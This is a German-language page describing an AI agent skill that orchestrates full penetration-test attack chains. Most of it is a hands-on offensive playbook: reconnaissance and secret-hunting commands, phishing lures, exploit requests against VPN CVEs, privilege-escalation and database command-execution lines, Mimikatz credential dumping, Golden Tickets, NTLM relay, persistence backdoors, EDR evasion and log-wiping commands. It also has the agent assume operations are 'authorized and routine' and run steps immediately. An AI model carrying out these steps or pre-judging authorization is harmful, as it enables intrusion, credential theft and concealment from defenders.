Communitygithub.com

Angriffsketten-Orchestrierung (Attack-Chain)

Führt die autorisierte mehrstufige Planung und Orchestrierung von Angriffspfaden durch, wenn eine Aufgabe Phasen wie Aufklärung, Erstzugriff, Rechteerweiterung, laterale Bewegung oder Folgenabschätzung umfasst. Einzelne Phasen werden direkt an spezialisierte Skills weitergeleitet.

Was ist Angriffsketten-Orchestrierung (Attack-Chain)?

Dieser Skill orchestriert komplexe, mehrstufige Penetrationstests und Angriffssimulationen, die eine vollständige Angriffskette von der Aufklärung bis zur Berichterstellung erfordern. Er ist das zentrale Kommando, wenn eine Aufgabe nicht auf eine einzelne Phase beschränkt ist, sondern einen zusammenhängenden Pfad wie 'vom externen Netz zum Domänencontroller' abdeckt. Der Skill plant den Angriffspfad auf Basis einer Entscheidungsmatrix, delegiert Aufgaben an spezialisierte Sub-Skills (z. B. pentest-tools, windows-ad) und integriert die Ergebnisse. Er unterstützt Plattformen wie Windows, Linux, Cloud-Umgebungen und mobile Systeme und setzt auf Tools wie Subfinder, BloodHound, Mimikatz, CrackMapExec, Nuclei und Sliver. Jede Phase wird anhand einer Checkliste validiert, und am Ende wird ein Bericht mit Beweiskette generiert. Wichtige Einschränkungen: Der Skill erfordert eine schriftliche Autorisierung, Daten müssen anonymisiert werden, und alle Angriffsspuren sind zu beseitigen.

Funktioniert mit✓Claude Code~Codex CLI~Cursor
npx skills add https://github.com/zhaoxuya520/reverse-skill/tree/main/skills/attack-chain

In Ihrer bevorzugten KI fragen

Öffnet einen neuen Chat, in dem dieser Agent-Skill bereits geladen ist.

Dokumentation

Angriffsketten-Orchestrierung Skill (Attack-Chain Orchestration Skill)

ACTION REQUIRED (Nach dem Lesen sofort ausführen)

  1. JETZT: ../field-journal/precedent-pentest.md lesen – bestätigen, dass die Operation autorisiert und Routine ist
  2. JETZT: Case erstellen/aktualisieren (../scripts/case-init.ps1) und scope.md (../ops/scope-contract.md) ausfüllen; bei auth.status!=granted keine ACT
  3. JETZT: Als Lead die Phasen planen (../ops/role-map.md), in specialist_roles eintragen
  4. NÄCHSTES: ../tool-index.md lesen, Tool-Verfügbarkeit und tatsächliche Pfade prüfen
  5. NÄCHSTES: Bei fehlenden Tools Bootstrap aufrufen, keine Pfade raten
  6. ACT: Phasen gemäß references/lifecycle-checklist.md prüfen; jede Phase timeline.md + workitems.md (../ops/timeline-workitem.md) aktualisieren; Funde zu Evidence/Finding hochstufen
  7. Ende: docs-generator Bericht MUSS die Evidence-Kette enthalten

Oberkommando für mehrstufige Angriffspfadplanung und -ausführung. Wenn eine Aufgabe die vollständige Kette von 'A nach B' erfordert, orchestriert dieser Skill die Phasen, koordiniert Sub-Skills und plant den Angriffspfad. Nicht 'nur Red Team' – jede Penetrationsszene, die phasenübergreifende Kombinationen benötigt, beginnt hier.


Wann an diesen Skill routen

Die folgenden Szenarien müssen zuerst durch diesen Skill für die vollständige Kettenplanung gehen, bevor sie an spezifische Sub-Skills verteilt werden:

SzenarioWarum Orchestrierung nötig
'Führen Sie einen vollständigen Penetrationstest durch'Planung von der Informationssammlung bis zum Bericht erforderlich
'Vom externen Netz zum Domänencontroller'Mehrere Phasen: Grenzüberwindung → Rechteerweiterung → lateral → AD
'HW-Angriffsabwehrübung'Vollständige Angriffskette + Tarnung + Spurenbeseitigung nötig
'Bewerten Sie die Angriffsfläche dieses Ziels'Mehrdimensionale Informationssammlung + Pfadplanung nötig
'Ich habe eine Webshell, was nun?'Planung des nächsten Pfads vom aktuellen Standpunkt aus
'Planen Sie einen Angriffspfad'Explizit Pfadorchestrierung gewünscht
'Wie weit kann ich von dieser Schwachstelle aus kommen?'Bewertung des Kettennutzens der Schwachstelle
'Kontinuierliches Bug-Bounty-Monitoring'Automatisierter mehrstufiger Prozess nötig
'Vollständiger interner Netzwerktest'Kombination: laterale Bewegung + Rechteerweiterung + AD-Angriff
'Nahquellen-Penetrationsplan'Kombination: physischer Zugang + internes Netz
'Lieferketten-Angriffspfad'Mehrstufiger, organisationsübergreifender Angriff
'Phishing + Post-Exploitation'Kombination: Erstzugriff + Folgeausnutzung

Einphasige Aufgaben benötigen diesen Skill nicht:

  • Nur Port-Scanning → direkt zu pentest-tools/
  • Nur SQL-Injection → direkt zu pentest-tools/
  • Nur APK-Reverse → direkt zu apk-reverse/
  • Nur AD-Penetration → direkt zu windows-ad/SKILL.md

Orchestrierungsprinzipien

Rolle dieses Skills

Benutzer stellt mehrstufige Aufgabe
    ↓
attack-chain/SKILL.md (diese Datei)
    ↓ Angriffspfad planen, Phasenreihenfolge festlegen
    ↓ Pro Phase benötigte Tools und Methoden bewerten
    ↓
An spezifische Sub-Skills verteilen:
    ├── pentest-tools/     → Tool-Aufruf, Schwachstellenausnutzung
    ├── apk-reverse/       → Mobile Penetration
    ├── js-reverse/        → Web-Frontend-Bypass
    ├── reverse-engineering/ → Binäranalyse
    ├── ida-reverse/       → Tiefes Reverse-Engineering
    └── browser-automation/ → Automatisierte Operationen
    ↓
Nach jeder Phase zurück zu diesem Skill zur Bewertung des nächsten Schritts
    ↓
Alles abgeschlossen → docs-generator erstellt Bericht

Entscheidungsbaum für die Pfadplanung

Nach Erhalt des Ziels:
1. Was ist das Ziel? (Web/Internes Netzwerk/Cloud/Mobil/IoT)
2. Was haben wir? (Externe Perspektive/Vorhandene Anmeldedaten/Vorhandener Standpunkt)
3. Was ist das Endziel? (Domänencontroller/Daten/Bestimmtes System/Nachweis der Auswirkung)
4. Einschränkungen? (Zeit/Tarnung/Nicht berührbare Systeme)
    ↓
Basierend auf diesen Informationen kürzesten Pfad planen
    ↓
Ein Pfad blockiert → Zurück zu diesem Skill, alternativen Pfad planen

Vollständige Angriffsketten-Phasen


I. Aufklärungsphase (Reconnaissance)

1.1 Unternehmens-Digital-Asset-Vermessung

# Auffinden von Subdomains verbundener Unternehmen
subfinder -d target.com -o subdomains.txt
amass enum -d target.com -passive -o amass_results.txt

# Zusammenführen und Entfernen von Duplikaten
cat subdomains.txt amass_results.txt | sort -u > all_subs.txt

# Erkennung lebender Hosts
httpx -l all_subs.txt -status-code -title -tech-detect -o alive.txt

# Port-Scan (alle Ports)
naabu -l all_subs.txt -top-ports 1000 -o ports.txt
nmap -sV -sC -iL targets.txt -oA nmap_results

Praxistipps:

  • Nutzen Sie Unternehmensverzeichnisse (z.B. Qichacha/Tianyancha), um Tochtergesellschaften zu identifizieren und die Angriffsfläche zu vergrößern
  • Achten Sie auf Testumgebungen (test., dev., staging.) und neu in Betrieb genommene Systeme
  • Zertifikatstransparenz-Logs (crt.sh) zum Auffinden verborgener Domains nutzen

1.2 Jagd nach vertraulichen Informationslecks

# GitHub-Suche
# org:Company filename:.env password
# org:Company filename:config.yml secret
# org:Company "jdbc:mysql" password

# Google Dork
# site:target.com filetype:sql
# site:target.com inurl:admin
# site:target.com ext:conf|cfg|ini

# API-Schlüssel in JS-Dateien
cat js_urls.txt | while read url; do
  curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
done

Hochwertige Ziele:

  • Cloud-Service AK/SK (Alibaba Cloud, AWS, Azure)
  • Datenbank-Verbindungsstrings
  • JWT-Geheimnisse
  • Interne API-Dokumentation
  • VPN/Bastion-Anmeldedaten

1.3 Mitarbeiterprofilierung

Regeln zur Erstellung des Social-Engineering-Wörterbuchs:

{Pinyin des Namens}{Jahr}       → zhangsan2024
{Anfangsbuchstaben des Namens}{Abteilungskürzel} → zs_dev
{Mitarbeiternummer}@{Domain}    → [email protected]
{Name}{Häufiges Suffix}         → zhangsan@123, zhangsan!@#

Informationsquellen:

  • Organigramm auf Maigai/LinkedIn
  • Firmen-Webseite/Offizieller Blog (Team-Vorstellungen)
  • Stellenausschreibungen (Technologie-Stack-Exposition)
  • Akademische Arbeiten (E-Mail-Exposition)

1.4 Technologie-Stack-Fingerprinting

# Web-Fingerprinting
whatweb -i alive.txt --log-json=fingerprint.json
httpx -l alive.txt -tech-detect -json -o tech.json

# Erkennung spezifischer Frameworks
nuclei -l alive.txt -tags tech -severity info -o tech_results.txt

# CMS-Erkennung
wpscan --url https://target.com --enumerate p,t,u

II. Erstzugriffsphase (Initial Access)

2.1 Ausnutzung von Web-Schwachstellen (Häufige Einstiegspunkte)

SchwachstellentypErkennungstoolAusnutzungsmethode
SQL-InjectionsqlmapDatenextraktion → Shell schreiben → OS-Befehle
SSTIsstimapTemplate-Injection → RCE
Datei-UploadManuell + BurpWebshell → Rebound-Shell
Deserialisierungysoserial/marshalsecJava/PHP/Python RCE
SSRFManuellInternes Netzwerk erkunden → Cloud-Metadaten → AK/SK
Unautorisierter ZugriffnucleiSpring Actuator / Nacos / Redis
XSS → CookiexsstrikeSession-Hijacking des Administrators
# SQL-Injection automatisieren
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent

# SSTI-Erkennung
sstimap -u "https://target.com/search?q=test"

# Massen-Scan mit Nuclei
nuclei -l alive.txt -severity critical,high -tags cve,sqli,rce -o vulns.txt

2.2 Lieferketten-Angriff

Angriffspfade:

  1. Identifizieren der vom Ziel verwendeten Drittanbieterkomponenten/-dienstleister
  2. Angriff auf den Lieferanten, um Code-Signatur-/Update-Berechtigungen zu erhalten
  3. Über legitime Update-Kanäle bösartige Nutzdaten ausliefern

Häufige Einstiegspunkte:

  • Vergiftung von Open-Source-Komponenten (npm/pip/maven)
  • API-Missbrauch durch SaaS-Dienstanbieter
  • Ausnutzung von Berechtigungen externer Mitarbeiter
  • Lateraler Angriff über gemeinsam genutzte IT-Dienstleister

2.3 Phishing-Angriff

E-Mail-Phishing:

Betreffs-Vorlagen:
- [DRINGEND] VPN-Zertifikat läuft bald ab, bitte sofort aktualisieren
- [IT-Mitteilung] Mail-Speicher fast voll, bitte aufräumen
- [Personalabteilung] Ergebnis der Leistungsbeurteilung 2024 abrufbar
- [Finanzen] Abrechnungssystem aktualisiert, bitte neu anmelden

Payload-Typen:

  • Office-Makro-Dokumente (.docm/.xlsm)
  • LNK-Verknüpfungen (als PDF getarnt)
  • HTML-Schmuggel (HTML Smuggling)
  • ISO/IMG-Images (MOTW umgehen)
  • OneNote-eingebettete Skripte

OAuth-Phishing (Trend 2025):

  • Bösartige OAuth-App zur Berechtigungsanfrage erstellen
  • Nach Autorisierung des Benutzers Zugriff auf E-Mail/Dateien erhalten
  • Kein Passwort nötig, MFA wird umgangen

2.4 Nahquellen-Penetration (Physischer Zugang)

MethodeToolEffekt
BadUSBRubber Ducky / WiFi DuckyTastatureingabe → Rebound-Shell
Bösartiges LadegerätO.MG CableAls Datenkabel getarnte Hintertür
WiFi-PhishingFluxion / WiFi PineappleGefälschter Hotspot → Erfassung von Anmeldedaten
RFID-KlonProxmark3Kopieren von Zutrittskarten → physischer Zutritt
Netzwerk-ImplantatRaspberry Pi / LAN TurtlePermanenter interner Zugangspunkt
# Fluxion WiFi-Phishing
fluxion  # Interaktive Auswahl des Ziel-AP → Erstellen eines gefälschten Hotspots → Erfassen des WPA-Passworts

# BadUSB in Verbindung mit Cobalt Strike
# USB-Injektion eines PowerShell-Downloaders → C2-Connection

2.5 VPN/Fernzugriff-Durchbruch

# Pulse Secure VPN (CVE-2019-11510)
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/"

# Fortinet VPN (CVE-2018-13379)
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"

# Allgemein: Password Spraying
hydra -L users.txt -P passwords.txt vpn.target.com https-form-post

2.6 Cloud-Service-Durchbruch

# AWS S3-Bucket-Enumeration
aws s3 ls s3://target-bucket --no-sign-request

# Cloud-Metadaten SSRF
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure AD Password Spraying
# Mit MSOLSpray / Spray-Tool

III. Phase der Rechteerweiterung (Privilege Escalation)

3.1 Windows-Rechteerweiterung

TechnikBedingungTool
Potato-ReiheSeImpersonate-BerechtigungSweetPotato / GodPotato / PrintSpoofer
Kernel-SchwachstelleNicht gepatchtwatson / wesng zur Erkennung
Dienstpfad-HijackingUnquotierter DienstpfadPowerUp
DLL-HijackingBeschreibbarer DLL-SuchpfadProcess Monitor
AlwaysInstallElevatedRegistrierungskonfigurationmsiexec zum Installieren bösartiger MSI
Geplante AufgabenBeschreibbares Aufgabenskriptschtasks ersetzen
# SeImpersonate erkennen
whoami /priv | findstr "SeImpersonate"

# Potato-Rechteerweiterung
.\GodPotato.exe -cmd "cmd /c whoami"

# Automatisierte Erkennung
.\winPEAS.exe

3.2 Linux-Rechteerweiterung

# SUID-Erkennung
find / -perm -4000 -type f 2>/dev/null

# sudo-Missbrauch
sudo -l
# Häufig ausnutzbar: vim, find, python, nmap, less, awk, perl

# sudo vim Rechteerweiterung
sudo vim -c ':!/bin/bash'

# sudo find Rechteerweiterung
sudo find / -exec /bin/bash \;

# Kernel-Schwachstelle
uname -r  # Version prüfen
# DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195)

# Automatisierte Erkennung
./linpeas.sh

3.3 Datenbank-Rechteerweiterung

-- MSSQL xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

-- MySQL UDF-Rechteerweiterung
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');

-- PostgreSQL
COPY (SELECT '') TO PROGRAM 'id';

3.4 Cloud-Rechteerweiterung

# AWS IAM-Enumeration
aws iam list-attached-user-policies --user-name compromised-user
# Suche nach iam:PassRole + lambda:CreateFunction → Administratorrechte

# Azure AD
# Globaler Administrator → Kontrolle über alle Abonnements
# Anwendungsadministrator → Hinzufügen von Anmeldeinformationen zu Service Principal

IV. Phase der lateralen Bewegung (Lateral Movement)

4.1 Erlangen von Anmeldedaten

# Mimikatz (Windows)
mimikatz# sekurlsa::logonpasswords
mimikatz# lsadump::dcsync /domain:target.local /user:krbtgt

# Linux-Anmeldedaten
cat /etc/shadow
cat ~/.bash_history | grep -i pass
find / -name "*.conf" -exec grep -l "password" {} \;

# NTLM-Hash-Extraktion
secretsdump.py domain/user:password@dc_ip

4.2 Pass-the-Hash / Pass-the-Ticket

# PTH lateral
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec

# Kerberoasting
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:password

# AS-REP Roasting
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1

# Golden Ticket
mimikatz# kerberos::golden /user:Administrator /domain:target.local /sid:S-1-5-21-... /krbtgt:<HASH> /ptt

4.3 Verdeckte laterale Techniken

# WMI fileless execution
wmiexec.py domain/admin:password@target_ip "whoami"

# DCOM remote execution
dcomexec.py domain/admin:password@target_ip "whoami"

# WinRM
evil-winrm -i target_ip -u admin -H <NTLM_HASH>

# PsExec (hinterlässt Spuren)
psexec.py domain/admin:password@target_ip

# SSH-Tunnel (Linux-Umgebung)
ssh -D 1080 user@pivot_host  # SOCKS-Proxy
ssh -L 3389:internal_host:3389 user@pivot_host  # Port-Weiterleitung

4.4 NTLM-Relay

# Responders SMB/HTTP deaktivieren
# Responder.conf bearbeiten: SMB = Off, HTTP = Off

# Responder zum Erfassen starten
responder -I eth0

# NTLM-Relay zum Ziel
ntlmrelayx.py -tf targets.txt -smb2support

# Coercer zur erzwungenen Authentifizierung
coercer coerce -u user -p password -d domain -l attacker_ip -t dc_ip

4.5 AD-Angriffspfade

# BloodHound-Datensammlung
bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip

# Häufige Angriffspfade:
# 1. Benutzer → GenericAll → Zielbenutzer → Passwort zurücksetzen
# 2. Benutzer → WriteDacl → Ziel-OU → Berechtigungen hinzufügen
# 3. Computer → Eingeschränkte Delegierung → Beliebiges Benutzerkonto impersonieren
# 4. Benutzer → DCSync-Berechtigung → Alle Hashes exportieren

# Certipy AD CS-Angriff
certipy find -u user@domain -p password -dc-ip dc_ip
certipy req -u user@domain -p password -ca CA-NAME -template VulnTemplate

V. Phase der Persistenz (Persistence)

5.1 Windows-Persistenz

TechnikTarnungErkennungsschwierigkeit
Geplante AufgabeMittelNiedrig
Registrierungs-Run-KeyNiedrigNiedrig
WMI-EreignisabonnementHochHoch
DLL-HijackingHochMittel
Shadow-KontoMittelMittel
Golden TicketSehr hochSehr hoch
DSRM-BackdoorSehr hochSehr hoch
# WMI-Ereignisabonnement (hohe Tarnung)
$Filter = Set-WmiInstance -Class __EventFilter -Arguments @{
    Name = "CoreFilter"
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

# Shadow-Konto
net user support$ P@ssw0rd /add /active:yes
net localgroup administrators support$ /add
# Registrierungs-F-Wert ändern für RID-Klon

5.2 Linux-Persistenz

# SSH-Key implantieren
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

# Crontab-Backdoor
(crontab -l; echo "*/5 * * * * /tmp/.hidden/beacon") | crontab -

# LD_PRELOAD-Hijacking
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload

# PAM-Backdoor
# pam_unix.so ändern, um Master-Passwort hinzuzufügen

# Systemd-Dienst
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=System Update Service
[Service]
ExecStart=/tmp/.hidden/beacon
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service

5.3 Cloud-Persistenz

# AWS Lambda-Backdoor
# Zeitgesteuerte Lambda-Funktion erstellen, die zum C2 zurückkehrt

# Azure AD App-Registrierung
# App erstellen → Geheimnis hinzufügen → Graph-API-Berechtigungen erteilen

# Container-Backdoor
# Basis-Image ändern → Alle neuen Container haben Backdoor

VI. EDR/AV-Umgehung (Evasion)

6.1 Kernansätze zur Umgehung

EbeneTechnikErklärung
Statische ErkennungVerschlüsselung/Verschleierung/Benutzerdefinierter LoaderSignaturübereinstimmung vermeiden
VerhaltenserkennungIndirekter Systemaufruf/UnhookingAPI-Hook umgehen
SpeichererkennungModule Stomping/Heap-VerschlüsselungSpeicher-Scan vermeiden
NetzwerkerkennungDomain Fronting/Legitimer Service-TunnelIn normalen Traffic mischen
ProtokollerfassungETW-Patching/Protokoll-LöschungSpuren minimieren

6.2 Praktische Umgehungstechniken

1. Benutzerdefinierter Shellcode-Loader (keine öffentlichen Tools verwenden)
2. Direkter Systemaufruf (ntdll-Hook umgehen)
3. Prozess-Injection in wenig überwachte Prozesse (z.B. RuntimeBroker.exe)
4. C2-Traffic über HTTPS + Domain Fronting / Cloudflare Workers
5. Ausführung im Speicher, keine Festplattenberührung (Fileless)
6. Nutzung legitimer signierter Programme (LOLBins)

6.3 C2-Framework-Auswahl

FrameworkMerkmaleAnwendungsszenario
Cobalt StrikeAusgereift, stabil, TeamarbeitGroße Red-Team-Operationen
SliverOpen Source, in Go geschriebenBegrenztes Budget
HavocModern, modularAnpassung erforderlich
MythicMulti-Agent-SupportPlattformübergreifend
AdaptixC2In Kali 2026.1 enthaltenSchnelle Bereitstellung

VII. Spurenbeseitigung (Anti-Forensics)

# Windows-Protokolle löschen
wevtutil cl Security
wevtutil cl System
wevtutil cl Application

# Linux-Protokolle löschen
echo > /var/log/auth.log
echo > /var/log/syslog
history -c && history -w

# Zeitstempel ändern
touch -t 202301010000 /path/to/file

# Speicher bereinigen
# Sicherstellen, dass Mimikatz-Dump gelöscht wurde
# Sicherstellen, dass C2-Beacon beendet wurde
# Sicherstellen, dass temporäre Dateien gelöscht wurden

Red-Team-Eiserne-Regeln

Drei Grundprinzipien

  1. Alle Operationen müssen schriftlich autorisiert sein
  2. Datenexfiltration muss anonymisiert werden
  3. Alle Angriffsspuren beseitigen (einschließlich Speicher-Residenz)

Einsatzdisziplin

  • Vor jeder Operation das Risiko bewerten (niedrig/mittel/hoch/kritisch)
  • Bei Hochrisiko-Operationen den Projektmanager benachrichtigen
  • Betriebsprotokoll führen (Zeit, Aktion, Ergebnis)
  • Kritische Schwachstellen sofort melden, nicht weiter ausnutzen
  • Betriebsverfügbarkeit nicht beeinträchtigen (kein DoS)
  • Keine echten Benutzerdaten abrufen/herunterladen

Typische Fehlschlagsfälle

FehlerursacheKonsequenzLehre
Mimikatz-Speicherdump nicht gelöschtBlue Team rekonstruiert gesamten AngriffspfadNach der Operation sofort bereinigen
C2-Domain von Threat Intelligence markiertErste Verbindung bereits blockiertNeu registrierte Domain + Domain Fronting verwenden
Phishing-E-Mail löst DLP-Alarm ausBlue Team wird vorgewarntE-Mail-Gateway-Regeln testen
Laterale Bewegung löst Honeypot ausAngriffsabsicht aufgedecktZuerst Honeypots identifizieren, dann handeln

Tool-Spickzettel

Informationssammlung

subfinder amass httpx naabu katana gau dnsx nmap whatweb wpscan

Schwachstellenausnutzung

nuclei sqlmap sstimap xsstrike burpsuite metasploit

Rechteerweiterung

winPEAS linpeas GodPotato PrintSpoofer watson

Laterale Bewegung

mimikatz crackmapexec/netexec impacket bloodhound certipy coercer responder evil-winrm

C2-Frameworks

cobalt-strike sliver havoc mythic adaptixc2

Nahquellen-Penetration

fluxion aircrack-ng proxmark3 rubber-ducky wifi-pineapple


Beziehung zu anderen Skills im Paket

AnforderungRoute zu
Tiefgehende Web-Schwachstellenausnutzungpentest-tools/SKILL.md
Detaillierte interne AD-Angriffsschrittewindows-ad/SKILL.md
Reverse-Engineering bösartiger Samplesreverse-engineering/SKILL.md
APK-Reverse (Mobile Penetration)apk-reverse/SKILL.md
JS-Frontend-Signatur-Bypassjs-reverse/SKILL.md
Automatisierte Massen-PenetrationPentest Swarm AI (pentestswarm scan --swarm)
KI-unterstützte Penetrationmcp-kali-server / metasploitmcp / hexstrike-ai
Berichterstellungdocs-generator/SKILL.md
Angriffspfad-Diagrammdiagram-generator/SKILL.md

Selbstprüfung vor Abschluss (MUSS vor Behauptung der Fertigstellung bestanden sein)

  • Habe ich jeden Schritt im Workflow ausgeführt (und nicht nur gelesen)?
  • Habe ich basierend auf tool-index die tatsächlichen Tool-Pfade verwendet?
  • Habe ich reproduzierbare Beweise (Befehle/Skripte/Screenshots/Berichte) erstellt?
  • Habe ich die von den RULES geforderten Checklisten-Punkte abgeschlossen und zurückgeschrieben?

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

api-security

Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication, authorization, rate-limit, and CI/CD testing.

apk-reverse

在 CLI 环境下做 Android APK 逆向时使用。适用于 APK 解包、Java 反编译、smali 修改、重打包、Frida 动态 Hook,以及按需切换到 so/native 分析。优先使用本机已安装的 jadx、apktool、frida、adb、ida-reverse、radare2。

binary-diff

|

binary-ninja-reverse

Use for authorized binary analysis in Binary Ninja, including HLIL/MLIL/LLIL inspection, strings/imports/exports, cross-references, types, patch review, Python API automation, and optional Binary Ninja MCP or localhost HTTP integration.

browser-automation

|

browser-extension-reverse

Use for authorized reverse engineering of browser extensions (Chrome/Firefox) including manifest analysis, background workers, and extension-based credential or traffic logic recovery.

case-review

Reviews a reverse-skill case package for scope readiness, Evidence to Finding to Path traceability, work item coverage, timeline references, and optional artifact hash integrity before report handoff.

cloud-k8s

Use for authorized cloud, container, and Kubernetes security assessment including metadata SSRF, IAM misconfig, container escape paths, and cluster RBAC review.

code-audit

Use for authorized source-code security review and SAST workflows including Semgrep, CodeQL patterns, dangerous API hunting, and fix verification.

ctf-sandbox

Thin PRIMARY for CTF / AWD / 靶场 multi-type orchestration. Hands off to the sidecar CTF-Sandbox-Orchestrator. Use when the user says CTF, AWD, 靶场, or 比赛题 and no more specific pwn/APK/IDA route already won.

database-security

Use for authorized database security assessment covering PostgreSQL/MySQL/MSSQL/Mongo/Redis exposure, authz, UDF/command paths, and misconfiguration review.

diagram-generator

generate, refine, validate, and render diagrams from natural language, notes, code snippets, schemas, tables, or existing diagram source. use for flowcharts, swimlanes, sequence diagrams, state diagrams, er diagrams, class diagrams, architecture/c4-style diagrams, dependency graphs, gantt charts, mind maps, user journeys, sankey-style flows, org charts, network graphs, and other visual models. supports mermaid by default, graphviz dot for complex graph layout, plantuml for uml-heavy engineering diagrams, and svg output when direct markup is more reliable.

digital-forensics

Use for authorized digital forensics including memory dumps, disk timelines, PCAP investigation, artifact triage, and IR evidence preservation.

docs-generator

|

dotnet-reverse

.NET / C# 二进制逆向。当目标是 .NET assembly(PE 头含 CLR、.exe/.dll 托管程序)、C# 编译产物(含 NativeAOT)、红队 Sharp* 工具(Rubeus / SharpHound / SharpHound 等)、.NET 混淆程序(ConfuserEx / SmartAssembly / Babel / Eazfuscator)、.NET loader / info-stealer / 套壳 malware 时使用。优先用 dnSpyEx + de4dot,需要 AI 直接操作时联动 dnSpy MCP。不用于纯 native 二进制(走 reverse-engineering / ida-reverse)。

edr-bypass-re

|

email-security

Use for authorized email security review including phishing analysis, header authentication (SPF/DKIM/DMARC), BEC patterns, and mailbox token abuse research.

firmware-pentest

|

ghidra-reverse

Use for free/open reverse engineering with Ghidra (headless or GUI), including decompile, cross-refs, and optional Ghidra MCP workflows when IDA is unavailable.

go-rust-reverse

Use for reverse engineering stripped Go and Rust binaries including runtime recognition, pclntab/moduel data recovery, panic strings, and idiomatic decompilation recovery.

Verwandte Skills